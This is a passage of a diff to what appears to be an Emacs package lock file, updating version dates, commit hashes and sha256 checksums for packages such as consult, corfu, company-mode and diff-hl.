"02cqza46qp8y69jd33cg4nmcgvrpwz23vyxqnmzwwvlmnbky96yc", @@ -14778,11 +14858,11 @@ "repo": "emacs-jp/replace-colorthemes", "unstable": { "version": [ - 20220506, - 858 + 20231116, + 2258 ], - "commit": "74ad69bbca6fcfff3c0960d888c7c9c1f9f3e2e8", - "sha256": "13ff4s372wsl5x13vh4vywhi6qcc54gybhp6rxl0r1l4wxidanwn" + "commit": "5f790421b6eff5d2915819fa23cfcdb19827fa91", + "sha256": "19r9ymfj7b0m8w2ggmk2syydi57yh2ljg4mrvxi1rljplz4kgqy6" }, "stable": { "version": [ @@ -14828,11 +14908,11 @@ "repo": "purcell/color-theme-sanityinc-tomorrow", "unstable": { "version": [ - 20230806, - 1552 + 20231226, + 930 ], - "commit": "d34e8db507ee0c7b465ff18a8f220c33ed77cd79", - "sha256": "1mfildi7rav2j42avii7z4gp4ghl04cqv8wp1vyxzl8vkyj60nkb" + "commit": "a918dfe597e3a350b2dd5368eaf33b0432885453", + "sha256": "1zxwg7894vqnm4pf7w56vzb811av2nhrkqrxsa3x5d6mhravf3wy" }, "stable": { "version": [ @@ -14931,14 +15011,14 @@ "repo": "jcs-elpa/com-css-sort", "unstable": { "version": [ - 20220704, - 647 + 20240101, + 940 ], "deps": [ "s" ], - "commit": "eba4ecbb52aeca7b7d0f6b80ad21e0d2c70d0685", - "sha256": "1kmn4amdrn29903qm3b0ha5zmb9piy2i0p34zx4vzkwv7vd6b1jg" + "commit": "ad957f427dd6fe4af2f0690487fb5ebb28791741", + "sha256": "113pzvw97qd88f1y5rd4zakf6mfcq21s47gr5il3d9balkkgn0q2" }, "stable": { "version": [ @@ -15272,11 +15352,11 @@ "repo": "company-mode/company-mode", "unstable": { "version": [ - 20231115, - 2254 + 20240130, + 1905 ], - "commit": "e22230561ef559b032b4a2d79bef686d494b8ea6", - "sha256": "02lhq2iaxyarvq0h194ivzvw8fncvv0a1hp9dxhd47jr83k0wj84" + "commit": "02903bd7088d65a87df0ae0f0d0a7118de147b69", + "sha256": "1rbbkl77kb7xzhi3mmkal0qxg9vs3vq3pg37w8c2p9lmajdfz0xy" }, "stable": { "version": [ @@ -15657,15 +15737,15 @@ "repo": "emacs-eask/company-eask", "unstable": { "version": [ - 20231008, - 1908 + 20240101, + 819 ], "deps": [ "company", "eask" ], - "commit": "27f0a46259427df6a29f352b9bf1079812c3f7bf", - "sha256": "1736fzbcfm0f774459irxfmgdvjzj6a32ia4y70n3qpx6qwrx4x4" + "commit": "c1dd9411bed01cc79f8b34d900396e53198b918e", + "sha256": "0bm85524kb0dkjprs4y1lnxcpbslwrc2xq3fvajnl0rmy4d8iv5h" }, "stable": { "version": [ @@ -15754,16 +15834,16 @@ "repo": "jcs-elpa/company-emojify", "unstable": { "version": [ - 20221231, - 1708 + 20240101, + 926 ], "deps": [ "company", "emojify", "ht" ], - "commit": "89652ee1a5488fbbe7b73c03ac316b895bb3fc19", - "sha256": "1kfy1jqsh90393yj2wvp2ccr0mvr7idq39033058i90f7md7gsmi" + "commit": "f115e03b9d4369f9170f4328028dd9c8080edb3d", + "sha256": "0ir20aqs96pmrrd8pa7g7l0vljxgadc5prni87cyryx0x9sj6bhw" }, "stable": { "version": [ @@ -15858,16 +15938,16 @@ "repo": "jcs-elpa/company-fuzzy", "unstable": { "version": [ - 20230531, - 743 + 20240101, + 943 ], "deps": [ "company", "ht", "s" ], - "commit": "85dd0a7852db70673d70387a834af01ed705c3f7", - "sha256": "1r7gjaq2nxfw04m7wfq10pjyfas96rrbr4ygbl467gr57rb1dh91" + "commit": "059e3e0893a2b3c0ad4bf27b6963e7547b97b5d4", + "sha256": "02n4y3zj7hypqhlki1kh2iha794449p9jyhj1rmr3bqidg2f73ig" }, "stable": { "version": [ @@ -16389,16 +16469,16 @@ "repo": "xcwen/ac-php", "unstable": { "version": [ - 20230529, - 1404 + 20240201, + 843 ], "deps": [ "ac-php-core", "cl-lib", "company" ], - "commit": "7b89fbf25360cc146aee9b2b2ca60f3462b21078", - "sha256": "0fmp1595v06dgmx9skxphknaagf9ds9l7ygi7lzxas1s8d05dj10" + "commit": "38b991e1f2dcd05e7e00ed6c33b28fc877271eb3", + "sha256": "0rwz5w0djngacbxzidam7vpfgxk82c4l6lp9psw2siv5yr2yqxkx" }, "stable": { "version": [ @@ -16563,27 +16643,27 @@ "repo": "radian-software/prescient.el", "unstable": { "version": [ - 20221216, - 112 + 20231123, + 2208 ], "deps": [ "company", "prescient" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" }, "stable": { "version": [ 6, - 1 + 2 ], "deps": [ "company", "prescient" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" } }, { @@ -16645,15 +16725,15 @@ "repo": "jcs-legacy/company-quickhelp-terminal", "unstable": { "version": [ - 20220704, - 647 + 20240101, + 1005 ], "deps": [ "company-quickhelp", "popup" ], - "commit": "08925e9dfe97482795dfe2f14542cfa2fd8895dd", - "sha256": "1yf0vyqz9hhx8bjlm2ffg6mnyrgb62x9mimy7vpbwjm6qs0dv2zf" + "commit": "1ea1dcc8696714f349df21e151bc66fb2cf396a8", + "sha256": "0w63yds24185fl6zv33w78hfbg8r2pn063lrrm11izmar25w66xi" }, "stable": { "version": [ @@ -17224,11 +17304,11 @@ "repo": "mohkale/compile-multi", "unstable": { "version": [ - 20230904, - 1806 + 20231226, + 2123 ], - "commit": "30edb0e86287101269debf20f43cead92310029a", - "sha256": "0ppm9zw65f1a7b6qb5hx60i6fxkqarrhlz2kn6p2b48s089dykyp" + "commit": "5ca966d73fbc6ec3835ed2db5be8c9ca05fc4586", + "sha256": "0p8zxb1wjd67k47g25k4hva2q6wf13214437anqhnw53kps4yfqk" }, "stable": { "version": [ @@ -17247,14 +17327,14 @@ "repo": "mohkale/compile-multi", "unstable": { "version": [ - 20230904, - 1806 + 20231226, + 2123 ], "deps": [ "all-the-icons-completion" ], - "commit": "30edb0e86287101269debf20f43cead92310029a", - "sha256": "0ppm9zw65f1a7b6qb5hx60i6fxkqarrhlz2kn6p2b48s089dykyp" + "commit": "3d5b72478fc5fe0c0fd7431daec516a8ccf3ec76", + "sha256": "1hmby8a5sy3d2xvwh5mz65iykbnb2fci6dnwp8rangn8zh517yff" }, "stable": { "version": [ @@ -17395,14 +17475,14 @@ "repo": "daviderestivo/comware-router-mode", "unstable": { "version": [ - 20230107, - 1624 + 20240103, + 907 ], "deps": [ "dash" ], - "commit": "cc0c1937e02f84ca8182b2de3ce5cc0982308ab8", - "sha256": "0aig2bjfygk3zckfx361r0miz7v3gg0s9aln7m15vprc4xsryj39" + "commit": "e1671efe5e0ade2dcbea0c17697d460cd8f0ba67", + "sha256": "0f564f4sqdmq966zqjgvxvph2mxkvmkd58gp43x4f67v3b18k41x" } }, { @@ -17626,25 +17706,25 @@ "repo": "minad/consult", "unstable": { "version": [ - 20231115, - 1746 + 20240202, + 1419 ], "deps": [ "compat" ], - "commit": "d7a0415c4ff3a84b696e5ddbc2ef15d0d45c405d", - "sha256": "15lvjb0hv3vb7xylavi2xsqdxq3b2ryi0zd866h5a3njhkk1sv76" + "commit": "9463146ba754103db9475ae56e46561366ba4773", + "sha256": "1wqs11pkv4dcsxgmpmg7kmzg7bnc4jwbma7bvmpxxzws1y9pxi1v" }, "stable": { "version": [ - 0, - 35 + 1, + 2 ], "deps": [ "compat" ], - "commit": "fe49dedd71802ff97be7b89f1ec4bd61b98c2b13", - "sha256": "0a20rfqv2yfwqal1vx6zzg92qgr32p3rp7n6awnyb010jnykqszw" + "commit": "ba1ccbb45cd76b3fae20844bd2950631a3312a81", + "sha256": "1466f6j9bxw9mh0ad9yv2qfkhzlz1ysgch53nlkvbry4llhdhj43" } }, { @@ -17813,16 +17893,16 @@ "repo": "mohkale/consult-eglot", "unstable": { "version": [ - 20230423, - 1505 + 20231209, + 1137 ], "deps": [ "consult", "eglot", "project" ], - "commit": "db9d41c9812a5a8a7b9a22fa7f3c314e37584d41", - "sha256": "1xcv9lj4r9s584gfkbqi9dmi045a3phb2x63fzfd7vpdy15xg47n" + "commit": "049c6319b8a48ff66189d49592c7759f0b356596", + "sha256": "0q2c7nw88cp63wp5vn8b4n6799ibd76hb472g0mjnrk374h03pai" }, "stable": { "version": [ @@ -17847,27 +17927,27 @@ "repo": "minad/consult-flycheck", "unstable": { "version": [ - 20230702, - 1115 + 20240102, + 330 ], "deps": [ "consult", "flycheck" ], - "commit": "3f2a7c17cc2fe64e0c07e3bf90e33c885c0d7062", - "sha256": "0cvxl6ynbns3wlpzilhg4ldakb91ikpibbr9wpb2wkzbgi5c766c" + "commit": "d83f87581af74f7a2739d8b1b90c37da5ae3d310", + "sha256": "1j1kh6imhryr973i42q41h5jwxclzx5mxvy21ac84pihvvspf71z" }, "stable": { "version": [ - 0, - 9 + 1, + 0 ], "deps": [ "consult", "flycheck" ], - "commit": "7a10be316d728d3384fa25574a30857c53fb3655", - "sha256": "1xg46wynfabk4pd7z7lk7d8x8rwlqk8dxjg4aki5dv6il1swg4cs" + "commit": "0662839aa5db429130f5ffd15c14d4a980b2e694", + "sha256": "1yi2qa4gbxlyhwc4rj3iidgr1dpdij68gbkgkk55l53p3yl1p2ww" } }, { @@ -18027,16 +18107,16 @@ "repo": "mclear-tools/consult-notes", "unstable": { "version": [ - 20231027, - 1436 + 20240122, + 41 ], "deps": [ "consult", "dash", "s" ], - "commit": "eb4c59b8a43c5b74250f92cf8eb05c659efb04d0", - "sha256": "01cs1w126r0czqszwrmfjx31drzq9rlmgfqi5swwvvsz1jcgp2pm" + "commit": "784c1928c44a4393e33a7d8d19c331dbf5dd1690", + "sha256": "1473580zl5qapq8gyfnazsl8zcwkb9bs6v893fs0mr0afsgrmgi4" } }, { @@ -18047,15 +18127,15 @@ "repo": "jao/consult-notmuch", "unstable": { "version": [ - 20221216, - 1701 + 20240127, + 406 ], "deps": [ "consult", "notmuch" ], - "commit": "d0d4129d45ccceddaeeaa3631eb42d5dd09a758b", - "sha256": "0gcd69i99prnskh1na7clydqgh1y9rbzkdc6dy9zmin9hfdrw1yd" + "commit": "d8022e2ddc67ed4e89cc6f5bbe664fdb04e1e815", + "sha256": "1gricpdzcw61gzw49dmgryi8y9rwh727273pszxpv1i4b25h3sy1" }, "stable": { "version": [ @@ -18079,15 +18159,15 @@ "repo": "jgru/consult-org-roam", "unstable": { "version": [ - 20230528, - 855 + 20240115, + 1145 ], "deps": [ "consult", "org-roam" ], - "commit": "2ca42a1c1641a29f1447d35be01bd1fda368a9e2", - "sha256": "142fra7wap6dfwd4c82j7z3nk1yw78slrwhjx6vkiql8ylbiw5fi" + "commit": "8e5b60a61eee9d0582afd309bc4e70ca3b1054cb", + "sha256": "0hzc8kd52f2r5nrx5l3pbkj17mz2ms3715gq814k5iw2z9ir6ha3" } }, { @@ -18098,15 +18178,15 @@ "repo": "Qkessler/consult-project-extra", "unstable": { "version": [ - 20221013, - 1014 + 20231221, + 1857 ], "deps": [ "consult", "project" ], - "commit": "9fdf45fa40471900b0b158d73c4b1521a13d47ef", - "sha256": "02m5vslf46kc9qjdyjqg3kjgv7a8vs0vmmc9gjh62nxfnz1dl7gn" + "commit": "982e8008d69ea6733a2a7548e245d645c0fefb3f", + "sha256": "0zfmfypq781v4vw0zd5z9kqa1f47wiq2hhgmg5yljrgmgnl7j53y" }, "stable": { "version": [ @@ -18147,25 +18227,26 @@ "repo": "jao/consult-recoll", "unstable": { "version": [ - 20221014, - 2002 + 20231211, + 1221 ], "deps": [ "consult" ], - "commit": "8d506e2d01f46fc6b0a0825efb90b062ad6fe3d4", - "sha256": "11i6fp56mg69vp45avkg19vw2pdnxqsdhzww1vwha30y30q2pqw1" + "commit": "ba68d052d9479aeaa5dda15a57a2c070df7d9bca", + "sha256": "02igkdhqpl3zylh5v3aw0a93krr2rzdy5kb6azvf4s461jpmwgqv" }, "stable": { "version": [ 0, - 8 + 8, + 1 ], "deps": [ "consult" ], - "commit": "1480027006df774ac3e2f38a6750a369263ea409", - "sha256": "1l2a7ikh2ii8yhssa2zhqnibrdr6h2gjn87biy7a0npksh8pp35j" + "commit": "ba68d052d9479aeaa5dda15a57a2c070df7d9bca", + "sha256": "02igkdhqpl3zylh5v3aw0a93krr2rzdy5kb6azvf4s461jpmwgqv" } }, { @@ -18195,26 +18276,26 @@ "repo": "titus.pinta/consult-tex", "unstable": { "version": [ - 20231109, - 1538 + 20240130, + 1536 ], "deps": [ "consult" ], - "commit": "e4cc88be7b66c45d90e5685344cda392f54fe5ae", - "sha256": "0h1x29a242gsq36h4hf9wzjq2mxvbqxi0mwkxxi5g0356lk7jqhw" + "commit": "46a36ce0046137ba6a0f99112db4651284e87f53", + "sha256": "0y1fc768jnv1d1ij0mz0siagsz3yphb9acj0nwprsh5kgbl9zz0q" }, "stable": { "version": [ 0, 1, - 2 + 3 ], "deps": [ "consult" ], - "commit": "e4cc88be7b66c45d90e5685344cda392f54fe5ae", - "sha256": "0h1x29a242gsq36h4hf9wzjq2mxvbqxi0mwkxxi5g0356lk7jqhw" + "commit": "46a36ce0046137ba6a0f99112db4651284e87f53", + "sha256": "0y1fc768jnv1d1ij0mz0siagsz3yphb9acj0nwprsh5kgbl9zz0q" } }, { @@ -18552,25 +18633,25 @@ "repo": "minad/corfu", "unstable": { "version": [ - 20231112, - 819 + 20240122, + 2327 ], "deps": [ "compat" ], - "commit": "41e35c23a3512df658cdea95b246977923af56f5", - "sha256": "1gpzlrq631839jds991pzplqnz92yifsmvxbylh4rswpzcmrn46g" + "commit": "b48d3017a47706198e04440cc1b3483bdf646771", + "sha256": "0l6hpsw2srmad0mhp6x46d5dsg678lvgz5l3glp1845hkg8a0pgi" }, "stable": { "version": [ - 0, - 38 + 1, + 2 ], "deps": [ "compat" ], - "commit": "d73dcb484e0bfb23fe4b73ad3fc8df3c0d94b096", - "sha256": "0wh1lw96b2nghwk6lic4k01pfqj73ssw710lx3s8nj2lv5bzh94n" + "commit": "b48d3017a47706198e04440cc1b3483bdf646771", + "sha256": "0l6hpsw2srmad0mhp6x46d5dsg678lvgz5l3glp1845hkg8a0pgi" } }, { @@ -18610,27 +18691,27 @@ "repo": "radian-software/prescient.el", "unstable": { "version": [ - 20221216, - 112 + 20240106, + 2017 ], "deps": [ "corfu", "prescient" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "4b875be52e75f7b81e68a16b62cfbb2f2584042c", + "sha256": "1ks7adpyzils4n4clyds7cncbcd0g41ymisyi1jqb0wn9r82i93h" }, "stable": { "version": [ 6, - 1 + 2 ], "deps": [ "corfu", "prescient" ], - "commit": "72b023f5fc1ae2bbf2f51f1786cc012d40671bf4", - "sha256": "1mc9pjb80bxcmzaylfwh0sgpvwbx3h35jalznwz464hw3vqfff83" + "commit": "c0eca3328313f1e93d24e686307516f43a484ba2", + "sha256": "1vj21kcqlsa02nvslmxgxsbv4pc93gakj4x2a6rbk87zl6ccw7pk" } }, { @@ -19604,26 +19685,26 @@ "repo": "emacsfodder/emacs-theme-creamsody", "unstable": { "version": [ - 20230826, - 1651 + 20240109, + 557 ], "deps": [ "autothemer" ], - "commit": "5f1bd04241cae39845336a18ea5eab3c5046f6ec", - "sha256": "0l6awpvrp1943vv5v7shpc50jijl146zp1syk5dis0qp8a698mz8" + "commit": "5f4fce9de6920cd2788bf6baf3a3da110f09bffd", + "sha256": "0qk76dk3g5whnx49qwahh32di7x9adw6d7gj4rr03d10zlvwsssb" }, "stable": { "version": [ 1, 0, - 6 + 9 ], "deps": [ "autothemer" ], - "commit": "ac27451f395d1718a05de636dde9a69a2f0cd558", - "sha256": "1f0ii025crk44mbpfximma0kd6hl12gg6ilhfs7pifzygywkknl8" + "commit": "5f4fce9de6920cd2788bf6baf3a3da110f09bffd", + "sha256": "0qk76dk3g5whnx49qwahh32di7x9adw6d7gj4rr03d10zlvwsssb" } }, { @@ -19885,11 +19966,11 @@ "repo": "crystal-lang-tools/emacs-crystal-mode", "unstable": { "version": [ - 20230720, - 2043 + 20231205, + 1943 ], - "commit": "e5b54c3ad728d791772ceccca607d0434ddaf985", - "sha256": "0jzhr92fbf01z5gr79h5ck696apy5rr7bjblxda1r1anpjayahm4" + "commit": "ea89b108fa4222df94ffb99e6e7eaec5d7aa4fea", + "sha256": "0h7nj0lwb90va0z1j3p2i14vggkn4j2hmnf3jknig5dfn39wwbpm" }, "stable": { "version": [ @@ -20084,11 +20165,11 @@ "repo": "u11/csv.el", "unstable": { "version": [ - 20161113, - 1510 + 20231216, + 1243 ], - "commit": "aa1dfa1263565d5fac3879c21d8ddf5f8915e411", - "sha256": "1vmazjrfcsa9aa9aw8bq5sazdhqvhxyj837dyw5lmh8gk7z0xdaa" + "commit": "8ed083c171a5e8caf11ebfbec67af3119ab1fd90", + "sha256": "0dfxp1injjxsmwpffn5bw4zfrwgzgfjcihzifg7cc7ky1dwzmsn9" }, "stable": { "version": [ @@ -20435,11 +20516,11 @@ "repo": "lassik/emacs-currency-convert", "unstable": { "version": [ - 20210427, - 2032 + 20231215, + 1526 ], - "commit": "12805ea66aa8421de5eedda39d23f709de634460", - "sha256": "1p304k3s0iawsrlpndc9vrjxm1vv4nlkv0fb51x8pmcqw5ivy1dg" + "commit": "125a718e73f826f461856aabd19bb2de9327531b", + "sha256": "1lgbhzhmmcfz27s5mldh7421yk9wgbf4sk0126a912hlb5f3zvr0" } }, { @@ -20579,11 +20660,11 @@ "repo": "gboncoffee/cybercafe-emacs-theme", "unstable": { "version": [ - 20230923, - 200 + 20231122, + 1444 ], - "commit": "62346a69e59a9d19883e081c58cc4bce44dd0aef", - "sha256": "07aw90xmhvpdf7imsxykvrb90sfxh00brp3y5b1v698wddng43qi" + "commit": "c241228914c9bd070733b1e97ea11a5cb6331e86", + "sha256": "0wb5dapc6xcga6ajyfdspnavnjrx9m6ww8c3xh783hs2dlk08whi" } }, { @@ -20609,11 +20690,11 @@ "repo": "n3mo/cyberpunk-theme.el", "unstable": { "version": [ - 20200601, - 1632 + 20240112, + 1944 ], - "commit": "81004fc774d373777d426926fc11abcf1e7ab334", - "sha256": "06nff38pcy5rgz13svkajsg0jjk73qy4a8m7p9f76yxcywxlgxlc" + "commit": "1fd5350ddfc53c30e6eef82af77c62d7c825df3c", + "sha256": "1zd96mg9366ik85qppkrds6r7axs3naxil66bw992xz1y1khb6pg" }, "stable": { "version": [ @@ -20853,15 +20934,15 @@ "repo": "cbowdon/daemons.el", "unstable": { "version": [ - 20231030, - 1710 + 20231212, + 1324 ], "deps": [ "compat", "s" ], - "commit": "c329ca135e3e33a4bd6d898d2e803a6ca4e64b47", - "sha256": "0b7pml68w9v0qzi492470awdzy670mblw4459xyyyzj9p978lj8b" + "commit": "6b6b97b7bac3040cfc58ea5ca7bd9dc9003068fb", + "sha256": "1ay1dchhnq1kjp8ygpdimylrnwwacdpxnfnllgwcps9w9cwslipx" }, "stable": { "version": [ @@ -20911,14 +20992,14 @@ "repo": "xenodium/chatgpt-shell", "unstable": { "version": [ - 20231112, - 449 + 20240112, + 1749 ], "deps": [ "shell-maker" ], - "commit": "bca784daa620767b5e57a5020289cb547c40f8b3", - "sha256": "1gzzfsw0bdyqbq6fgfsl0vwy0z639618sq74kdvk0hnssrbx1f01" + "commit": "39dd8e7415ebe6d836a1d721337019cfea89f5ad", + "sha256": "0xylvqjhdwmgbcm412jgyir8kwb16j1jzwp708z1p0yaw4j7c54c" } }, { @@ -21025,8 +21106,8 @@ "repo": "emacs-lsp/dap-mode", "unstable": { "version": [ - 20231113, - 706 + 20240113, + 926 ], "deps": [ "bui", @@ -21039,8 +21120,8 @@ "posframe", "s" ], - "commit": "755845ae053bbfdd3f7b3dca13efa4be480370b5", - "sha256": "0rj0y85gkn50cly77dmy8g1z16czi1vg6qc9sh75x1vl7s1wr615" + "commit": "03bcfe90b6acb6811bfa877882ba72949503234d", + "sha256": "0yahj7i1h1j824d2ginzvdik4llckjvnhlxfj24dgsh6rl7qnr7g" }, "stable": { "version": [ @@ -21152,11 +21233,11 @@ "repo": "grtcdr/darkman.el", "unstable": { "version": [ - 20230901, - 953 + 20240203, + 1209 ], - "commit": "d4d0587a40c60b2f23b953f4702e55a335762a24", - "sha256": "15ij4g0jg0gal3i4vjmy0kynkv9ji9h5kz6f2a6b0541nxhd8jpc" + "commit": "136eac628595c6777eb6b2246a014dfcb3b6c625", + "sha256": "0g8jwnx6cgsk02ncfa9bi6nnvw5s5k2fvji7qwz52m2vb2c2l1i6" }, "stable": { "version": [ @@ -21296,11 +21377,11 @@ "repo": "magnars/dash.el", "unstable": { "version": [ - 20230714, - 723 + 20240103, + 1301 ], - "commit": "f46268c75cb7c18361d3cee942cd4dc14a03aef4", - "sha256": "0ck6xwgbkjq7svqgzj3wddr20aqffwcxlmvdg0nj2i9zbksz8rkp" + "commit": "e32a70ca636bad42232b6c79f1491dc86802a721", + "sha256": "0jkwjkm64ciz60b4bhm50f4c6vc51wi2a12kdd1ijvdnxscnlxx7" }, "stable": { "version": [ @@ -21399,11 +21480,11 @@ "repo": "emacs-dashboard/emacs-dashboard", "unstable": { "version": [ - 20231031, - 359 + 20240202, + 2350 ], - "commit": "22786237e16cfeae33f07ae9c5eeaf061408579a", - "sha256": "0la3vfz1qyv687j4n3kky99dla3dh89hh5zhc9v3rbh562jdgr0n" + "commit": "00f9344e0d31b805b47c6319a37f42b485b16bf0", + "sha256": "0kx0dcd996mqqqyxn97gmqb55b9zrnn8v8q36nzvjrmdfisiaxhj" }, "stable": { "version": [ @@ -21442,14 +21523,14 @@ "repo": "emacs-dashboard/dashboard-ls", "unstable": { "version": [ - 20221231, - 1629 + 20240101, + 841 ], "deps": [ "dashboard" ], - "commit": "b24e0bcb87e20ffcc71efb83a97f9516255fa8e4", - "sha256": "0rmdfm2smk4cji9dljnrxlmpvx2pv96lljdlwqblk5z3klm0wjkx" + "commit": "bc79640e8fcc625ff1af31d5e17b054b1f535f39", + "sha256": "07ygiy3i8vjvc6ga9dkxahvcznk1fzshy7m9w94jag5jm1vskrh1" }, "stable": { "version": [ @@ -21606,11 +21687,11 @@ "repo": "emacs-php/emacs-datetime", "unstable": { "version": [ - 20160612, - 1715 + 20240105, + 1901 ], - "commit": "e6427538b547cbe02e1bd6ed4b765c73620bdae8", - "sha256": "1573z8wq5m8qzbzmnsz2fmbwrj9c0ava0jjfchzmwm2b3jyvqh5r" + "commit": "c4ee8ef11bc95c78c390497f1d1397ca57a96f97", + "sha256": "04flgf9qwl42dpbkszifqbya3q5w4qgvxf6scc429hy40dnm2gbd" } }, { @@ -21794,16 +21875,16 @@ "repo": "Wilfred/deadgrep", "unstable": { "version": [ - 20231028, - 506 + 20231130, + 1628 ], "deps": [ "dash", "s", "spinner" ], - "commit": "960b61f4d9bcf75fa0f19c3abb447c63c7d886cf", - "sha256": "1791i7jxpmqvs3xmyk0c12dmx1cjni6gk6z6f0s4h0fhp6g99zas" + "commit": "38abe362997d2f18633a75d04c09da751bf8085e", + "sha256": "14brz73fz9zfd95libxajxwc3b4vvljj76fp3xdskxi34z4bs1f3" }, "stable": { "version": [ @@ -21827,11 +21908,11 @@ "url": "https://salsa.debian.org/emacsen-team/debian-el.git", "unstable": { "version": [ - 20231017, - 1037 + 20231207, + 2347 ], - "commit": "586300cb4747128b7f8397d9dd9f09fa1e27b118", - "sha256": "11fwr66nm51n4kmy8y5zpa5lwy4qnnspsbrpbiv3r0p3ivqdga15" + "commit": "67dbe593b650b7748e8cbe93fdb8f0cf883563ad", + "sha256": "130k9fv057dlb5gkhr6ws0k8fdf6jnd5gxaxq0p2h9h6p9l6djzm" }, "stable": { "version": [ @@ -21956,17 +22037,26 @@ }, { "ename": "decor", - "commit": "6455cfe4559770fc53348eb3ddd8dbf6e0c3976b", - "sha256": "0rz1n7qrddy7qh50x04n3bjxkbfdmiqa0v9055clbc2f16snknsg", + "commit": "57abce9f9faa4109672516a3a9beff684f8f5a3e", + "sha256": "0p6zjxsfjw871qkfifsiiiqvbyp6scp26ysh749a7v2jdcqr7pz5", "fetcher": "github", "repo": "KeyWeeUsr/decor", "unstable": { "version": [ - 20231101, - 2354 + 20231210, + 1247 ], - "commit": "aad4fa9f4e0d4140e2707f4cc678b1dc3c0672fa", - "sha256": "0lxw55l0p5cgp1kgwh0yzh9bc3wvgnd932jmfy77nmiw6wl4achm" + "commit": "b0c8dfee69c9c5fe54c82cfcb2638377eb744464", + "sha256": "01c65ppj2ygi5vbpgxyk15dbkl8ls8b00l66vd9i2gmkyj0pca93" + }, + "stable": { + "version": [ + 1, + 3, + 0 + ], + "commit": "b0c8dfee69c9c5fe54c82cfcb2638377eb744464", + "sha256": "01c65ppj2ygi5vbpgxyk15dbkl8ls8b00l66vd9i2gmkyj0pca93" } }, { @@ -22096,8 +22186,8 @@ "repo": "jcs-elpa/define-it", "unstable": { "version": [ - 20220713, - 750 + 20240101, + 933 ], "deps": [ "define-word", @@ -22108,8 +22198,8 @@ "s", "wiki-summary" ], - "commit": "de026f399d5b7fa9286f7733b2e3416c6f234372", - "sha256": "1dhf64sb0ja5bs7zfbzkwk40ccqmb35kv3cdhshlmdf9d9fj9jv0" + "commit": "a12331b5f4098b3cb0b046398fc3a34de1651de6", + "sha256": "0qxlpzb0bxyqndgg6pcz4y8kn78vzspvx690n4lsp1m85xdzra92" }, "stable": { "version": [ @@ -22574,11 +22664,11 @@ "repo": "astoff/devdocs.el", "unstable": { "version": [ - 20230220, - 2042 + 20231127, + 1905 ], - "commit": "2988d4d201df16d72c3bea465d2b93b554dbddfc", - "sha256": "04ghf38mdb6829b81fb0j2l8z8i5d14m72x1h3sx1m1fihr7nlxv" + "commit": "f0436bc0e2077683438e838acdfc425337898175", + "sha256": "04f7idkpbjkyrcaklh5fmchi9s4inixibrikkrrfjyrc85l2j31d" } }, { @@ -22589,11 +22679,11 @@ "repo": "blahgeek/emacs-devdocs-browser", "unstable": { "version": [ - 20230423, - 444 + 20231231, + 1455 ], - "commit": "ef7686e4ff4ecab42e1b4a1a5d079bcf947a5b71", - "sha256": "12f2z4khcag0mjvis8h20sj32iv3i2p8vvklh7zzc4yzga6pa8va" + "commit": "afc460e687bec4eb947ab85d207778fc3b9b3bbc", + "sha256": "1qghhswalj7x09hmcxhf9i27apyni2j8jy2pq6aj0499ib3fq89q" } }, { @@ -22604,11 +22694,11 @@ "repo": "susam/devil", "unstable": { "version": [ - 20230925, - 2240 + 20240107, + 2149 ], - "commit": "ad8320c647ec0078caf5f0745520e5c340b191ca", - "sha256": "1dicp7n2yas40n3vjyikmx3pzawl9b9y09agrvnz9fwas41x8axj" + "commit": "dd29681fe07f37c4acbff32a5767bddcbf3b5b80", + "sha256": "1597yjzhhnmymkfv9v6d2dhb23h8wy8k13ynpql23lig8fwvnw8d" }, "stable": { "version": [ @@ -22814,11 +22904,11 @@ "repo": "ideasman42/emacs-diff-ansi", "unstable": { "version": [ - 20230808, - 1343 + 20231221, + 57 ], - "commit": "c14d1f6c58ddf579cba86b95d160f71589c8cd04", - "sha256": "11mwkwmvdz3lwwd03ck6nsjzwxg0i0sxk8p1w8952w2dv5kdwfg0" + "commit": "cdae72a4713704692aa4edf3433d6b6df1d84746", + "sha256": "1fkdc0ilvpgp2p5c654123r7rvjkg8v2a5q182npjw6rry1x652f" } }, { @@ -22844,14 +22934,14 @@ "repo": "dgutov/diff-hl", "unstable": { "version": [ - 20230807, - 1516 + 20240127, + 34 ], "deps": [ "cl-lib" ], - "commit": "b5651f1c57b42e0f38e01a8fc8c7df9bc76d5d38", - "sha256": "0w7qhdkgqkk6z306n2c0cx188bbqqsg5vdbxbv1z7pgb3nwdc8ad" + "commit": "b8b2727a72fdf64ac98e6cfa136a43cb0cacf72f", + "sha256": "0g0gq8n5968qxbqb965kq4crm18n3k6miiiv90pdygykq1b2gww5" }, "stable": { "version": [ @@ -22967,15 +23057,15 @@ "repo": "pkryger/difftastic.el", "unstable": { "version": [ - 20231018, - 1043 + 20240123, + 931 ], "deps": [ "compat", "magit" ], - "commit": "3e63dc1dd6eb7c2b7910d9b31a84fab7addaa7f3", - "sha256": "14za0r446pw3yby6kx8rfkaixx6lcx3blq2nv6l5rly3bkidprjs" + "commit": "a3aa6b905c5fcd3079b668ee6e95e72be6de258f", + "sha256": "0if46m2iq15v5zbgr8hkl07hcijsm740cw82mhnj6kqdbdgk8p0p" } }, { @@ -23142,14 +23232,14 @@ "repo": "tarsius/dim-autoload", "unstable": { "version": [ - 20230511, - 2114 + 20240101, + 2213 ], "deps": [ "compat" ], - "commit": "9e7b4d47f2dc972ec16baa6bd56b016000790ff4", - "sha256": "1f7syxknpqxvrng1sa9a7ypwg7c4r5gsc3c88rm1p5mrak2xpcg9" + "commit": "ace955cd85b3775a028cfda71f2665f33d85bf5d", + "sha256": "06wpvr763rsjfgi403n83jsbj7z2jfl1r0l7bb0rdfambhnn9wdh" }, "stable": { "version": [ @@ -23225,11 +23315,11 @@ "repo": "jcs-elpa/diminish-buffer", "unstable": { "version": [ - 20221028, - 1921 + 20240101, + 934 ], - "commit": 